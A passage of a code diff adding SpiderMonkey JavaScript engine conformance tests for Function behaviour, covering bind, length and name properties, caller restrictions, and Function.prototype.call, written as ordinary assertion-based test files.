+var strictOneDesc = Object.getOwnPropertyDescriptor(sa, "1");
+assertEq(strictOneDesc.value, 1);
+assertEq(strictOneDesc.writable, true);
+assertEq(strictOneDesc.enumerable, true);
+assertEq(strictOneDesc.configurable, true);
+
+var strictLengthDesc = Object.getOwnPropertyDescriptor(sa, "length");
+assertEq(strictLengthDesc.value, 2);
+assertEq(strictLengthDesc.writable, true);
+assertEq(strictLengthDesc.enumerable, false);
+assertEq(strictLengthDesc.configurable, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/arrow-has-duplicated.js b/js/src/tests/non262/Function/arrow-has-duplicated.js
new file mode 100644
index 0000000000..19096ebf88
--- /dev/null
+++ b/js/src/tests/non262/Function/arrow-has-duplicated.js
@@ -0,0 +1,15 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a, a) {
+}
+
+// SyntaxError should be thrown if arrow function has duplicated name.
+assertThrowsInstanceOf(() => eval(`
+(a, a) => {
+};
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+(a, ...a) => {
+};
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/bound-length-and-name.js b/js/src/tests/non262/Function/bound-length-and-name.js
new file mode 100644
index 0000000000..ef2f1ffbcd
--- /dev/null
+++ b/js/src/tests/non262/Function/bound-length-and-name.js
@@ -0,0 +1,40 @@
+var proxy = new Proxy(function() {}, {
+ getOwnPropertyDescriptor(target, name) {
+ assertEq(name, "length");
+ return {value: 3, configurable: true};
+ },
+
+ get(target, name) {
+ if (name == "length")
+ return 3;
+ if (name == "name")
+ return "hello world";
+ assertEq(false, true);
+ }
+})
+
+var bound = Function.prototype.bind.call(proxy);
+assertEq(bound.name, "bound hello world");
+assertEq(bound.length, 3);
+
+var fun = function() {};
+Object.defineProperty(fun, "name", {value: 1337});
+Object.defineProperty(fun, "length", {value: "15"});
+bound = fun.bind();
+assertEq(bound.name, "bound ");
+assertEq(bound.length, 0);
+
+Object.defineProperty(fun, "length", {value: Number.MAX_SAFE_INTEGER});
+bound = fun.bind();
+assertEq(bound.length, Number.MAX_SAFE_INTEGER);
+
+Object.defineProperty(fun, "length", {value: -100});
+bound = fun.bind();
+assertEq(bound.length, 0);
+
+fun = function f(a, ...b) { };
+assertEq(fun.length, 1);
+bound = fun.bind();
+assertEq(bound.length, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/bound-non-constructable.js b/js/src/tests/non262/Function/bound-non-constructable.js
new file mode 100644
index 0000000000..cee1dd580d
--- /dev/null
+++ b/js/src/tests/non262/Function/bound-non-constructable.js
@@ -0,0 +1,17 @@
+var objects = [
+ Math.sin.bind(null),
+ new Proxy(Math.sin.bind(null), {}),
+ Function.prototype.bind.call(new Proxy(Math.sin, {}))
+]
+
+for (var obj of objects) {
+ // Target is not constructable, so a new array should be created internally.
+ assertDeepEq(Array.from.call(obj, [1, 2, 3]), [1, 2, 3]);
+ assertDeepEq(Array.of.call(obj, 1, 2, 3), [1, 2, 3]);
+
+ // Make sure they are callable, but not constructable.
+ obj();
+ assertThrowsInstanceOf(() => new obj, TypeError);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/bound-prototype.js b/js/src/tests/non262/Function/bound-prototype.js
new file mode 100644
index 0000000000..8b0f295a58
--- /dev/null
+++ b/js/src/tests/non262/Function/bound-prototype.js
@@ -0,0 +1,37 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function Bound(fn) {
+ return Function.prototype.bind.call(fn);
+}
+
+var fnDefaultPrototype = function(){};
+assertEq(Object.getPrototypeOf(Bound(fnDefaultPrototype)), Function.prototype);
+
+var fnGeneratorPrototype = function*(){};
+assertEq(Object.getPrototypeOf(Bound(fnGeneratorPrototype)), function*(){}.constructor.prototype);
+
+var fnCustomPrototype = Object.setPrototypeOf(function(){}, Array.prototype);
+assertEq(Object.getPrototypeOf(Bound(fnCustomPrototype)), Array.prototype);
+
+var fnNullPrototype = Object.setPrototypeOf(function(){}, null);
+assertEq(Object.getPrototypeOf(Bound(fnNullPrototype)), null);
+
+
+function LoggingProxy(target) {
+ var log = [];
+ var proxy = new Proxy(target, new Proxy({}, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ }
+ }));
+ return {proxy, log};
+}
+
+var {proxy, log} = LoggingProxy(function(){});
+Bound(proxy);
+assertEqArray(log, ["getPrototypeOf", "getOwnPropertyDescriptor", "get", "get"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/browser.js b/js/src/tests/non262/Function/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Function/browser.js
diff --git a/js/src/tests/non262/Function/builtin-no-construct.js b/js/src/tests/non262/Function/builtin-no-construct.js
new file mode 100644
index 0000000000..b41ae56f11
--- /dev/null
+++ b/js/src/tests/non262/Function/builtin-no-construct.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function checkMethod(method) {
+ try {
+ new method();
+ assertEq(0, 1, "not reached " + method);
+ } catch (e) {
+ assertEq(e.message.indexOf(" is not a constructor") === -1, false);
+ }
+}
+
+function checkMethods(proto) {
+ var names = Object.getOwnPropertyNames(proto);
+ for (var i = 0; i < names.length; i++) {
+ var name = names[i];
+ if (["constructor", "arguments", "caller"].indexOf(name) >= 0)
+ continue;
+ var prop = proto[name];
+ if (typeof prop === "function")
+ checkMethod(prop);
+ }
+}
+
+checkMethod(Function.prototype);
+checkMethods(JSON);
+checkMethods(Math);
+checkMethods(Proxy);
+
+var builtin_ctors = [
+ Object, Function, Array, String, Boolean, Number, Date, RegExp, Error,
+ EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError,
+];
+
+for (var i = 0; i < builtin_ctors.length; i++) {
+ checkMethods(builtin_ctors[i]);
+ checkMethods(builtin_ctors[i].prototype);
+}
+
+var builtin_funcs = [
+ eval, isFinite, isNaN, parseFloat, parseInt,
+ decodeURI, decodeURIComponent, encodeURI, encodeURIComponent
+];
+
+for (var i = 0; i < builtin_funcs.length; i++) {
+ checkMethod(builtin_funcs[i]);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Function/builtin-no-prototype.js b/js/src/tests/non262/Function/builtin-no-prototype.js
new file mode 100644
index 0000000000..b5a8cc9f6e
--- /dev/null
+++ b/js/src/tests/non262/Function/builtin-no-prototype.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(undefined, void 0);
+
+assertEq(Function.prototype.hasOwnProperty('prototype'), false);
+assertEq(Function.prototype.prototype, undefined);
+
+var builtin_ctors = [
+ Object, Function, Array, String, Boolean, Number, Date, RegExp, Error,
+ EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError
+];
+
+for (var i = 0; i < builtin_ctors.length; i++) {
+ var c = builtin_ctors[i];
+ assertEq(typeof c.prototype, (c === Function) ? "function" : "object");
+ assertEq(c.prototype.constructor, c);
+}
+
+var builtin_funcs = [
+ eval, isFinite, isNaN, parseFloat, parseInt,
+ decodeURI, decodeURIComponent, encodeURI, encodeURIComponent
+];
+
+for (var i = 0; i < builtin_funcs.length; i++) {
+ assertEq(builtin_funcs[i].hasOwnProperty('prototype'), false);
+ assertEq(builtin_funcs[i].prototype, undefined);
+}
+
+var names = Object.getOwnPropertyNames(Math);
+for (var i = 0; i < names.length; i++) {
+ var m = Math[names[i]];
+ if (typeof m === "function")
+ assertEq(m.prototype, undefined);
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/Function/configurable-length-builtins.js b/js/src/tests/non262/Function/configurable-length-builtins.js
new file mode 100644
index 0000000000..f28eaae157
--- /dev/null
+++ b/js/src/tests/non262/Function/configurable-length-builtins.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Deleting .length from a variety of builtin functions works as expected.
+for (var fun of [Math.sin, Array.prototype.map, eval]) {
+ assertEq(delete fun.length, true);
+ assertEq(fun.hasOwnProperty("length"), false);
+ assertEq("length" in fun, true); // still inheriting Function.prototype.length
+ assertEq(fun.length, 0);
+
+ // The inherited property is nonwritable, so assigning still fails
+ // (silently, in sloppy mode).
+ fun.length = Math.hypot;
+ assertEq(fun.length, 0);
+
+ // It can be shadowed via defineProperty.
+ Object.defineProperty(fun, "length", {value: Math.hypot});
+ assertEq(fun.length, Math.hypot);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/configurable-length.js b/js/src/tests/non262/Function/configurable-length.js
new file mode 100644
index 0000000000..127038fb56
--- /dev/null
+++ b/js/src/tests/non262/Function/configurable-length.js
@@ -0,0 +1,86 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Very simple initial test that the "length" property of a function is
+// configurable. More thorough tests follow.
+var f = function (a1, a2, a3, a4) {};
+assertEq(delete f.length, true);
+assertEq(f.hasOwnProperty("length"), false);
+assertEq(f.length, 0); // inherited from Function.prototype.length
+assertEq(delete Function.prototype.length, true);
+assertEq(f.length, undefined);
+
+
+// Now for the details.
+//
+// Many of these tests are poking at the "resolve hook" mechanism SM uses to
+// lazily create this property, which is wonky and deserving of some extra
+// skepticism.
+
+// We've deleted Function.prototype.length. Check that the resolve hook does
+// not resurrect it.
+assertEq("length" in Function.prototype, false);
+Function.prototype.length = 7;
+assertEq(Function.prototype.length, 7);
+delete Function.prototype.length;
+assertEq(Function.prototype.length, undefined);
+
+// OK, define Function.prototype.length back to its original state per spec, so
+// the remaining tests can run in a more typical environment.
+Object.defineProperty(Function.prototype, "length", {value: 0, configurable: true});
+
+// Check the property descriptor of a function length property.
+var g = function f(a1, a2, a3, a4, a5) {};
+var desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.value, 5);
+
+// After deleting the length property, assigning to f.length fails because
+// Function.prototype.length is non-writable. In strict mode it would throw.
+delete g.length;
+g.length = 12;
+assertEq(g.hasOwnProperty("length"), false);
+assertEq(g.length, 0);
+
+// After deleting both the length property and Function.prototype.length,
+// assigning to f.length creates a new plain old data property.
+delete Function.prototype.length;
+g.length = 13;
+var desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, 13);
+
+// Deleting the .length of one instance of a FunctionDeclaration does not
+// affect other instances.
+function mkfun() {
+ function fun(a1, a2, a3, a4, a5) {}
+ return fun;
+}
+g = mkfun();
+var h = mkfun();
+delete h.length;
+assertEq(g.length, 5);
+assertEq(mkfun().length, 5);
+
+// Object.defineProperty on a brand-new function is sufficient to cause the
+// LENGTH_RESOLVED flag to be set.
+g = mkfun();
+Object.defineProperty(g, "length", {value: 0});
+assertEq(delete g.length, true);
+assertEq(g.hasOwnProperty("length"), false);
+
+// Object.defineProperty on a brand-new function correctly merges new
+// attributes with the builtin ones.
+g = mkfun();
+Object.defineProperty(g, "length", { value: 42 });
+desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.value, 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js b/js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js
new file mode 100644
index 0000000000..6c9bb41a38
--- /dev/null
+++ b/js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js
@@ -0,0 +1,13 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var proxy = Function.prototype.bind.call(new Proxy(Array, {}));
+for (var i = 10; i < 50; ++i) {
+ var args = Array(i).fill(i);
+ var array = new proxy(...args);
+ assertEqArray(array, args);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Function/constructor-binding.js b/js/src/tests/non262/Function/constructor-binding.js
new file mode 100644
index 0000000000..e82274d279
--- /dev/null
+++ b/js/src/tests/non262/Function/constructor-binding.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 636635;
+var summary = "A function created by Function constructor shouldn't have anonymous binding";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(new Function("return typeof anonymous")(), "undefined");
+assertEq(new Function("return function() { return typeof anonymous; }")()(), "undefined");
+assertEq(new Function("return function() { eval(''); return typeof anonymous; }")()(), "undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/create-function-parse-before-getprototype.js b/js/src/tests/non262/Function/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..2095abfb28
--- /dev/null
+++ b/js/src/tests/non262/Function/create-function-parse-before-getprototype.js
@@ -0,0 +1,17 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(Function, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/function-bind.js b/js/src/tests/non262/Function/function-bind.js
new file mode 100644
index 0000000000..9fdaf41a97
--- /dev/null
+++ b/js/src/tests/non262/Function/function-bind.js
@@ -0,0 +1,280 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-bind.js';
+var BUGNUMBER = 429507;
+var summary = "ES5: Function.prototype.bind";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// ad-hoc testing
+
+assertEq(Function.prototype.hasOwnProperty("bind"), true);
+
+var bind = Function.prototype.bind;
+assertEq(bind.length, 1);
+
+
+var strictReturnThis = function() { "use strict"; return this; };
+
+assertEq(strictReturnThis.bind(undefined)(), undefined);
+assertEq(strictReturnThis.bind(null)(), null);
+
+var obj = {};
+assertEq(strictReturnThis.bind(obj)(), obj);
+
+assertEq(strictReturnThis.bind(NaN)(), NaN);
+
+assertEq(strictReturnThis.bind(true)(), true);
+assertEq(strictReturnThis.bind(false)(), false);
+
+assertEq(strictReturnThis.bind("foopy")(), "foopy");
+
+
+// rigorous, step-by-step testing
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+/*
+ * 1. Let Target be the this value.
+ * 2. If IsCallable(Target) is false, throw a TypeError exception.
+ */
+expectThrowTypeError(function() { bind.call(null); });
+expectThrowTypeError(function() { bind.call(undefined); });
+expectThrowTypeError(function() { bind.call(NaN); });
+expectThrowTypeError(function() { bind.call(0); });
+expectThrowTypeError(function() { bind.call(-0); });
+expectThrowTypeError(function() { bind.call(17); });
+expectThrowTypeError(function() { bind.call(42); });
+expectThrowTypeError(function() { bind.call("foobar"); });
+expectThrowTypeError(function() { bind.call(true); });
+expectThrowTypeError(function() { bind.call(false); });
+expectThrowTypeError(function() { bind.call([]); });
+expectThrowTypeError(function() { bind.call({}); });
+
+
+/*
+ * 3. Let A be a new (possibly empty) internal list of all of the argument
+ * values provided after thisArg (arg1, arg2 etc), in order.
+ * 4. Let F be a new native ECMAScript object .
+ * 5. Set all the internal methods, except for [[Get]], of F as specified in
+ * 8.12.
+ * 6. Set the [[Get]] internal property of F as specified in 15.3.5.4.
+ * 7. Set the [[TargetFunction]] internal property of F to Target.
+ * 8. Set the [[BoundThis]] internal property of F to the value of thisArg.
+ * 9. Set the [[BoundArgs]] internal property of F to A.
+ */
+// throughout
+
+
+/* 10. Set the [[Class]] internal property of F to "Function". */
+var toString = Object.prototype.toString;
+assertEq(toString.call(function(){}), "[object Function]");
+assertEq(toString.call(function a(){}), "[object Function]");
+assertEq(toString.call(function(a){}), "[object Function]");
+assertEq(toString.call(function a(b){}), "[object Function]");
+assertEq(toString.call(function(){}.bind()), "[object Function]");
+assertEq(toString.call(function a(){}.bind()), "[object Function]");
+assertEq(toString.call(function(a){}.bind()), "[object Function]");
+assertEq(toString.call(function a(b){}.bind()), "[object Function]");
+
+
+/*
+ * 11. Set the [[Prototype]] internal property of F to the standard built-in
+ * Function prototype object as specified in 15.3.3.1.
+ */
+assertEq(Object.getPrototypeOf(bind.call(function(){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function a(){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function(a){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function a(b){})), Function.prototype);
+
+
+/*
+ * 12. Set the [[Call]] internal property of F as described in 15.3.4.5.1.
+ */
+var a = Array.bind(1, 2);
+assertEq(a().length, 2);
+assertEq(a(4).length, 2);
+assertEq(a(4, 8).length, 3);
+
+function t() { return this; }
+var bt = t.bind(t);
+assertEq(bt(), t);
+
+function callee() { return arguments.callee; }
+var call = callee.bind();
+assertEq(call(), callee);
+assertEq(new call(), callee);
+
+
+/*
+ * 13. Set the [[Construct]] internal property of F as described in 15.3.4.5.2.
+ */
+function Point(x, y)
+{
+ this.x = x;
+ this.y = y;
+}
+var YAxisPoint = Point.bind(null, 0)
+
+assertEq(YAxisPoint.hasOwnProperty("prototype"), false);
+var p = new YAxisPoint(5);
+assertEq(p.x, 0);
+assertEq(p.y, 5);
+assertEq(p instanceof Point, true);
+assertEq(p instanceof YAxisPoint, true);
+assertEq(Object.prototype.toString.call(YAxisPoint), "[object Function]");
+assertEq(YAxisPoint.length, 1);
+
+
+/*
+ * 14. Set the [[HasInstance]] internal property of F as described in
+ * 15.3.4.5.3.
+ */
+function JoinArguments()
+{
+ this.args = Array.prototype.join.call(arguments, ", ");
+}
+
+var Join1 = JoinArguments.bind(null, 1);
+var Join2 = Join1.bind(null, 2);
+var Join3 = Join2.bind(null, 3);
+var Join4 = Join3.bind(null, 4);
+var Join5 = Join4.bind(null, 5);
+var Join6 = Join5.bind(null, 6);
+
+var r = new Join6(7);
+assertEq(r instanceof Join6, true);
+assertEq(r instanceof Join5, true);
+assertEq(r instanceof Join4, true);
+assertEq(r instanceof Join3, true);
+assertEq(r instanceof Join2, true);
+assertEq(r instanceof Join1, true);
+assertEq(r instanceof JoinArguments, true);
+assertEq(r.args, "1, 2, 3, 4, 5, 6, 7");
+
+
+/*
+ * 15. If the [[Class]] internal property of Target is "Function", then
+ * a. Let L be the length property of Target minus the length of A.
+ * b. Set the length own property of F to either 0 or L, whichever is larger.
+ * 16. Else set the length own property of F to 0.
+ */
+function none() { return arguments.length; }
+assertEq(none.bind(1, 2)(3, 4), 3);
+assertEq(none.bind(1, 2)(), 1);
+assertEq(none.bind(1)(2, 3), 2);
+assertEq(none.bind().length, 0);
+assertEq(none.bind(null).length, 0);
+assertEq(none.bind(null, 1).length, 0);
+assertEq(none.bind(null, 1, 2).length, 0);
+
+function one(a) { }
+assertEq(one.bind().length, 1);
+assertEq(one.bind(null).length, 1);
+assertEq(one.bind(null, 1).length, 0);
+assertEq(one.bind(null, 1, 2).length, 0);
+
+// retch
+var br = Object.create(null, { length: { value: 0 } });
+try
+{
+ br = bind.call(/a/g, /a/g, "aaaa");
+}
+catch (e) { /* nothing */ }
+assertEq(br.length, 0);
+
+
+/*
+ * 17. Set the attributes of the length own property of F to the values
+ * specified in 15.3.5.1.
+ */
+var len1Desc =
+ Object.getOwnPropertyDescriptor(function(a, b, c){}.bind(), "length");
+assertEq(len1Desc.value, 3);
+assertEq(len1Desc.writable, false);
+assertEq(len1Desc.enumerable, false);
+assertEq(len1Desc.configurable, true);
+
+var len2Desc =
+ Object.getOwnPropertyDescriptor(function(a, b, c){}.bind(null, 2), "length");
+assertEq(len2Desc.value, 2);
+assertEq(len2Desc.writable, false);
+assertEq(len2Desc.enumerable, false);
+assertEq(len2Desc.configurable, true);
+
+
+/*
+ * 18. Set the [[Extensible]] internal property of F to true.
+ */
+var bound = (function() { }).bind();
+
+var isExtensible = Object.isExtensible || function() { return true; };
+assertEq(isExtensible(bound), true);
+
+bound.foo = 17;
+var fooDesc = Object.getOwnPropertyDescriptor(bound, "foo");
+assertEq(fooDesc.value, 17);
+assertEq(fooDesc.writable, true);
+assertEq(fooDesc.enumerable, true);
+assertEq(fooDesc.configurable, true);
+
+
+/*
+ * Steps 19-21 are removed from ES6, instead implemented through "arguments" and
+ * "caller" accessors on Function.prototype. So no own properties, but do check
+ * for the same observable behavior (modulo where the accessors live).
+ */
+function strict() { "use strict"; }
+function nonstrict() {}
+
+function testBound(fun)
+{
+ var boundf = fun.bind();
+
+ assertEq(Object.getOwnPropertyDescriptor(boundf, "arguments"), undefined,
+ "should be no arguments property");
+ assertEq(Object.getOwnPropertyDescriptor(boundf, "caller"), undefined,
+ "should be no caller property");
+
+ expectThrowTypeError(function() { return boundf.arguments; });
+ expectThrowTypeError(function() { return boundf.caller; });
+}
+
+testBound(strict);
+testBound(nonstrict);
+
+assertEq((function unbound(){"body"}).bind().toString(), `function() {
+ [native code]
+}`);
+
+
+/* 22. Return F. */
+var passim = function p(){}.bind(1);
+assertEq(typeof passim, "function");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/function-call.js b/js/src/tests/non262/Function/function-call.js
new file mode 100644
index 0000000000..756b583842
--- /dev/null
+++ b/js/src/tests/non262/Function/function-call.js
@@ -0,0 +1,134 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 575535;
+var summary = 'Function.prototype.call';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectTypeError(fun, msg)
+{
+ try
+ {
+ fun();
+ assertEq(true, false, "should have thrown a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true, msg + "; instead threw " + e);
+ }
+}
+
+function fun() { }
+
+var global = this;
+
+assertEq(Function.prototype.call.length, 1);
+
+
+/* Step 1. */
+var nonfuns = [null, 1, -1, 2.5, "[[Call]]", undefined, true, false, {}];
+for (var i = 0, sz = nonfuns.length; i < sz; i++)
+{
+ var f = function()
+ {
+ Function.prototype.call.apply(nonfuns[i]);
+ };
+ var msg =
+ "expected TypeError calling Function.prototype.call with uncallable this";
+ expectTypeError(f, msg);
+}
+
+
+/* Steps 2-4. */
+function none()
+{
+ assertEq(this, global, "bad this");
+ assertEq(arguments.length, 0, "wrong arguments");
+}
+
+none.call();
+none.call(undefined);
+none.call(null);
+
+var seenThis;
+function strictNone()
+{
+ "use strict";
+ assertEq(this, seenThis, "bad this");
+ assertEq(arguments.length, 0, "wrong arguments");
+}
+
+seenThis = undefined;
+strictNone.call();
+strictNone.call(undefined);
+
+seenThis = null;
+strictNone.call(null);
+
+seenThis = 17;
+strictNone.call(17);
+
+var seenThisBox, args;
+function some()
+{
+ assertEq(this instanceof seenThisBox, true,
+ "this not instanceof " + seenThisBox);
+ assertEq(this.valueOf(), seenThis,
+ "wrong this valueOf()");
+ assertEq(arguments.length, args.length, "wrong arguments count");
+ for (var i = 0; i < args.length; i++)
+ assertEq(arguments[i], args[i], "wrong argument " + i);
+}
+
+seenThis = false;
+seenThisBox = Boolean;
+args = [8, 6, 7, NaN, undefined, 0.3];
+some.call(false, 8, 6, 7, NaN, undefined, 0.3);
+
+var obj = {};
+
+seenThis = "foo";
+seenThisBox = String;
+args = [obj];
+some.call("foo", obj);
+
+seenThis = obj;
+seenThisBox = Object;
+some.call(obj, obj);
+
+function strictSome()
+{
+ "use strict";
+ assertEq(this, seenThis, "wrong this");
+ assertEq(arguments.length, args.length, "wrong arguments count");
+ for (var i = 0; i < args.length; i++)
+ assertEq(arguments[i], args[i], "wrong argument " + i);
+}
+
+seenThis = NaN;
+args = [8, 6, 7, NaN, undefined, 0.3];
+strictSome.call(NaN, 8, 6, 7, NaN, undefined, 0.3);
+
+seenThis = "foo";
+args = [obj];
+strictSome.call("foo", obj);
+
+seenThis = obj;
+strictSome.call(obj, obj);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/function-caller-restrictions.js b/js/src/tests/non262/Function/function-caller-restrictions.js
new file mode 100644
index 0000000000..36c31279ba
--- /dev/null
+++ b/js/src/tests/non262/Function/function-caller-restrictions.js
@@ -0,0 +1,29 @@
+// Function#caller restrictions as proposed by
+// https://github.com/claudepache/es-legacy-function-reflection/
+
+function caller() {
+ return caller.caller;
+}
+
+assertEq(caller(), null);
+assertEq(Reflect.apply(caller, undefined, []), null);
+
+assertEq([0].map(caller)[0], null);
+
+(function strict() {
+ "use strict";
+ assertEq(caller(), null);
+})();
+
+(async function() {
+ assertEq(caller(), null);
+})();
+
+assertEq(function*() {
+ yield caller();
+}().next().value, null);
+
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/Function/function-caller.js b/js/src/tests/non262/Function/function-caller.js
new file mode 100644
index 0000000000..2b0812d4f1
--- /dev/null
+++ b/js/src/tests/non262/Function/function-caller.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-caller.js';
+var BUGNUMBER = 514581;
+var summary = "Function.prototype.caller should throw a TypeError for " +
+ "strict-mode functions";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// behavior
+
+function expectTypeError(fun)
+{
+ try
+ {
+ fun();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError calling function" +
+ ("name" in fun ? " " + fun.name : "") + ", instead got: " + e);
+ }
+}
+
+function bar() { "use strict"; }
+expectTypeError(function barCaller() { bar.caller; });
+
+function baz() { "use strict"; return 17; }
+expectTypeError(function bazCaller() { baz.caller; });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js b/js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js
new file mode 100644
index 0000000000..4e88a00966
--- /dev/null
+++ b/js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js
@@ -0,0 +1,23 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 920479;
+var summary =
+ "Convert all arguments passed to Function() to string before doing any " +
+ "parsing of the to-be-created Function's parameters or body text";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsValue(() => Function("@", { toString() { throw 42; } }), 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Function/function-name-assignment.js b/js/src/tests/non262/Function/function-name-assignment.js
new file mode 100644
index 0000000000..5e4d1c004f
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-assignment.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on assignment";
+
+print(BUGNUMBER + ": " + summary);
+
+var fooSymbol = Symbol("foo");
+var emptySymbol = Symbol("");
+var undefSymbol = Symbol();
+var globalVar;
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testAssignmentExpression(expr, named) {
+ eval(`
+ var assignment;
+ assignment = ${expr};
+ assertEq(assignment.name, named ? "named" : "assignment");
+
+ globalVar = ${expr};
+ assertEq(globalVar.name, named ? "named" : "globalVar");
+
+ var obj = { dynamic: null };
+ with (obj) {
+ dynamic = ${expr};
+ }
+ assertEq(obj.dynamic.name, named ? "named" : "dynamic");
+
+ (function namedLambda(param1, param2) {
+ var assignedToNamedLambda;
+ assignedToNamedLambda = namedLambda = ${expr};
+ assertEq(namedLambda.name, "namedLambda");
+ assertEq(assignedToNamedLambda.name, named ? "named" : "namedLambda");
+
+ param1 = ${expr};
+ assertEq(param1.name, named ? "named" : "param1");
+
+ {
+ let param1 = ${expr};
+ assertEq(param1.name, named ? "named" : "param1");
+
+ param2 = ${expr};
+ assertEq(param2.name, named ? "named" : "param2");
+ }
+ })();
+
+ {
